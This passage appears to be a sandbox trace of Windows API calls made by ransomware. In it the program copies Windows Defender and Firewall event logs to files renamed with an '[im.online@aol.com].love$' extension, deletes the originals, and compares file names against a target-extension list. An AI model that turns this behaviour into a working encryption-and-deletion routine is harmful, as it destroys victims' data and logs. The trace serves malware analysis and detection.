hFile=0x450, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x13c, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x13c, lpOverlapped=0x0) returned 1 [0227.124] SetEndOfFile (hFile=0x450) returned 1 [0227.124] CloseHandle (hObject=0x450) returned 1 [0227.128] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.128] SetEndOfFile (hFile=0x404) returned 1 [0227.130] CloseHandle (hObject=0x404) returned 1 [0227.130] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0227.131] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 1 [0227.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0227.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0227.131] lstrlenW (lpString=".doc") returned 4 [0227.131] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.131] lstrlenW (lpString=".docx") returned 5 [0227.131] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.131] lstrlenW (lpString=".pdf") returned 4 [0227.131] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.131] lstrlenW (lpString=".xls") returned 4 [0227.131] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.131] lstrlenW (lpString=".xlsx") returned 5 [0227.131] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.131] lstrlenW (lpString=".ppt") returned 4 [0227.131] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0227.131] lstrlenW (lpString=".zip") returned 4 [0227.131] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.131] lstrlenW (lpString=".rar") returned 4 [0227.132] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.132] lstrlenW (lpString=".bz2") returned 4 [0227.132] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.132] lstrlenW (lpString=".7z") returned 3 [0227.132] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.132] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0227.132] lstrlenW (lpString=".dbf") returned 4 [0227.132] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.132] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0227.132] lstrlenW (lpString=".1cd") returned 4 [0227.132] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.132] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0227.132] lstrlenW (lpString=".jpg") returned 4 [0227.132] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.132] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0227.132] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0227.132] lstrlenW (lpString=".doc") returned 4 [0227.132] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.132] lstrlenW (lpString=".docx") returned 5 [0227.132] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.132] lstrlenW (lpString=".pdf") returned 4 [0227.132] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.132] lstrlenW (lpString=".xls") returned 4 [0227.132] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.132] lstrlenW (lpString=".xlsx") returned 5 [0227.132] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.132] lstrlenW (lpString=".ppt") returned 4 [0227.133] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.133] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0227.133] lstrlenW (lpString=".zip") returned 4 [0227.133] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.133] lstrlenW (lpString=".rar") returned 4 [0227.133] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.133] lstrlenW (lpString=".bz2") returned 4 [0227.133] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.133] lstrlenW (lpString=".7z") returned 3 [0227.133] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.133] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0227.133] lstrlenW (lpString=".dbf") returned 4 [0227.133] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.133] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0227.133] lstrlenW (lpString=".1cd") returned 4 [0227.133] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.133] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0227.133] lstrlenW (lpString=".jpg") returned 4 [0227.133] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.133] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0227.133] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 72 [0227.133] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0227.156] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=1052672) returned 1 [0227.156] CloseHandle (hObject=0x45c) returned 1 [0227.156] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20 [0227.156] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.156] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0227.156] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.157] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.157] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0227.158] GetLastError () returned 0x0 [0227.158] ReadFile (in: hFile=0x45c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0227.707] WriteFile (in: hFile=0x460, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0228.031] ReadFile (in: hFile=0x45c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x1010, lpOverlapped=0x0) returned 1 [0228.043] WriteFile (in: hFile=0x460, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x1020, lpOverlapped=0x0) returned 1 [0228.048] ReadFile (in: hFile=0x45c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.048] WriteFile (in: hFile=0x460, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x164, lpOverlapped=0x0) returned 1 [0228.048] SetEndOfFile (hFile=0x460) returned 1 [0228.491] CloseHandle (hObject=0x460) returned 1 [0228.529] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.529] SetEndOfFile (hFile=0x45c) returned 1 [0228.530] CloseHandle (hObject=0x45c) returned 1 [0228.708] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0228.732] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 1 [0228.733] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0228.733] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0228.733] lstrlenW (lpString=".doc") returned 4 [0228.733] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0228.733] lstrlenW (lpString=".docx") returned 5 [0228.733] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0228.733] lstrlenW (lpString=".pdf") returned 4 [0228.733] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0228.733] lstrlenW (lpString=".xls") returned 4 [0228.733] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0228.733] lstrlenW (lpString=".xlsx") returned 5 [0228.733] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0228.733] lstrlenW (lpString=".ppt") returned 4 [0228.733] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0228.733] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0228.733] lstrlenW (lpString=".zip") returned 4 [0228.733] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0228.733] lstrlenW (lpString=".rar") returned 4 [0228.733] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0228.733] lstrlenW (lpString=".bz2") returned 4 [0228.733] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0228.733] lstrlenW (lpString=".7z") returned 3 [0228.733] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0228.733] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0228.733] lstrlenW (lpString=".dbf") returned 4 [0228.733] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0228.734] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0228.734] lstrlenW (lpString=".1cd") returned 4 [0228.734] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0228.734] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0228.734] lstrlenW (lpString=".jpg") returned 4 [0228.734] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0228.734] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0228.734] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0228.734] lstrlenW (lpString=".doc") returned 4 [0228.734] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0228.734] lstrlenW (lpString=".docx") returned 5 [0228.734] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0228.734] lstrlenW (lpString=".pdf") returned 4 [0228.734] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0228.734] lstrlenW (lpString=".xls") returned 4 [0228.734] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0228.734] lstrlenW (lpString=".xlsx") returned 5 [0228.734] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0228.734] lstrlenW (lpString=".ppt") returned 4 [0228.734] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0228.734] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0228.734] lstrlenW (lpString=".zip") returned 4 [0228.734] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0228.734] lstrlenW (lpString=".rar") returned 4 [0228.734] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0228.735] lstrlenW (lpString=".bz2") returned 4 [0228.735] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0228.735] lstrlenW (lpString=".7z") returned 3 [0228.735] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0228.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0228.735] lstrlenW (lpString=".dbf") returned 4 [0228.735] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0228.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0228.735] lstrlenW (lpString=".1cd") returned 4 [0228.735] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0228.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0228.735] lstrlenW (lpString=".jpg") returned 4 [0228.735] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0228.735] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0228.735] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0228.735] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0228.736] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=18624) returned 1 [0228.736] CloseHandle (hObject=0x45c) returned 1 [0228.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20 [0228.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0228.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0228.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0228.737] lstrlenW (lpString=".doc") returned 4 [0228.737] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0228.737] lstrlenW (lpString=".docx") returned 5 [0228.737] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0228.737] lstrlenW (lpString=".pdf") returned 4 [0228.737] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0228.737] lstrlenW (lpString=".xls") returned 4 [0228.737] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0228.737] lstrlenW (lpString=".xlsx") returned 5 [0228.737] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0228.737] lstrlenW (lpString=".ppt") returned 4 [0228.737] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0228.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0228.737] lstrlenW (lpString=".zip") returned 4 [0228.737] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0228.738] lstrlenW (lpString=".rar") returned 4 [0228.738] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0228.738] lstrlenW (lpString=".bz2") returned 4 [0228.738] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0228.738] lstrlenW (lpString=".7z") returned 3 [0228.738] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0228.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0228.738] lstrlenW (lpString=".dbf") returned 4 [0228.738] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0228.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0228.738] lstrlenW (lpString=".1cd") returned 4 [0228.738] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0228.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0228.738] lstrlenW (lpString=".jpg") returned 4 [0228.738] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0228.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0228.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0228.738] lstrlenW (lpString=".doc") returned 4 [0228.738] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0228.738] lstrlenW (lpString=".docx") returned 5 [0228.738] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0228.738] lstrlenW (lpString=".pdf") returned 4 [0228.738] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0228.738] lstrlenW (lpString=".xls") returned 4 [0228.738] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0228.738] lstrlenW (lpString=".xlsx") returned 5 [0228.739] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0228.739] lstrlenW (lpString=".ppt") returned 4 [0228.739] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0228.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0228.739] lstrlenW (lpString=".zip") returned 4 [0228.739] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0228.739] lstrlenW (lpString=".rar") returned 4 [0228.739] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0228.739] lstrlenW (lpString=".bz2") returned 4 [0228.739] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0228.739] lstrlenW (lpString=".7z") returned 3 [0228.739] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0228.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0228.739] lstrlenW (lpString=".dbf") returned 4 [0228.739] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0228.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0228.739] lstrlenW (lpString=".1cd") returned 4 [0228.739] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0228.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0228.739] lstrlenW (lpString=".jpg") returned 4 [0228.739] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0228.739] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0228.739] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0228.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0228.740] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=18624) returned 1 [0228.741] CloseHandle (hObject=0x45c) returned 1 [0228.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20 [0228.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0228.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0228.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0228.741] lstrlenW (lpString=".doc") returned 4 [0228.741] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0228.741] lstrlenW (lpString=".docx") returned 5 [0228.741] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0228.741] lstrlenW (lpString=".pdf") returned 4 [0228.741] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0228.741] lstrlenW (lpString=".xls") returned 4 [0228.741] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0228.741] lstrlenW (lpString=".xlsx") returned 5 [0228.741] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0228.741] lstrlenW (lpString=".ppt") returned 4 [0228.741] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0228.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0228.742] lstrlenW (lpString=".zip") returned 4 [0228.742] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0228.742] lstrlenW (lpString=".rar") returned 4 [0228.742] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0228.742] lstrlenW (lpString=".bz2") returned 4 [0228.742] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0228.742] lstrlenW (lpString=".7z") returned 3 [0228.742] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0228.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0228.742] lstrlenW (lpString=".dbf") returned 4 [0228.742] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0228.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0228.742] lstrlenW (lpString=".1cd") returned 4 [0228.742] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0228.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0228.742] lstrlenW (lpString=".jpg") returned 4 [0228.742] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0228.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0228.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0228.742] lstrlenW (lpString=".doc") returned 4 [0228.742] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0228.742] lstrlenW (lpString=".docx") returned 5 [0228.742] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0228.742] lstrlenW (lpString=".pdf") returned 4 [0228.742] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0228.742] lstrlenW (lpString=".xls") returned 4 [0228.742] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0228.742] lstrlenW (lpString=".xlsx") returned 5 [0228.742] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0228.742] lstrlenW (lpString=".ppt") returned 4 [0228.742] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0228.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0228.743] lstrlenW (lpString=".zip") returned 4 [0228.743] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0228.743] lstrlenW (lpString=".rar") returned 4 [0228.743] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0228.743] lstrlenW (lpString=".bz2") returned 4 [0228.743] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0228.743] lstrlenW (lpString=".7z") returned 3 [0228.743] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0228.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0228.743] lstrlenW (lpString=".dbf") returned 4 [0228.743] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0228.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0228.743] lstrlenW (lpString=".1cd") returned 4 [0228.743] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0228.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 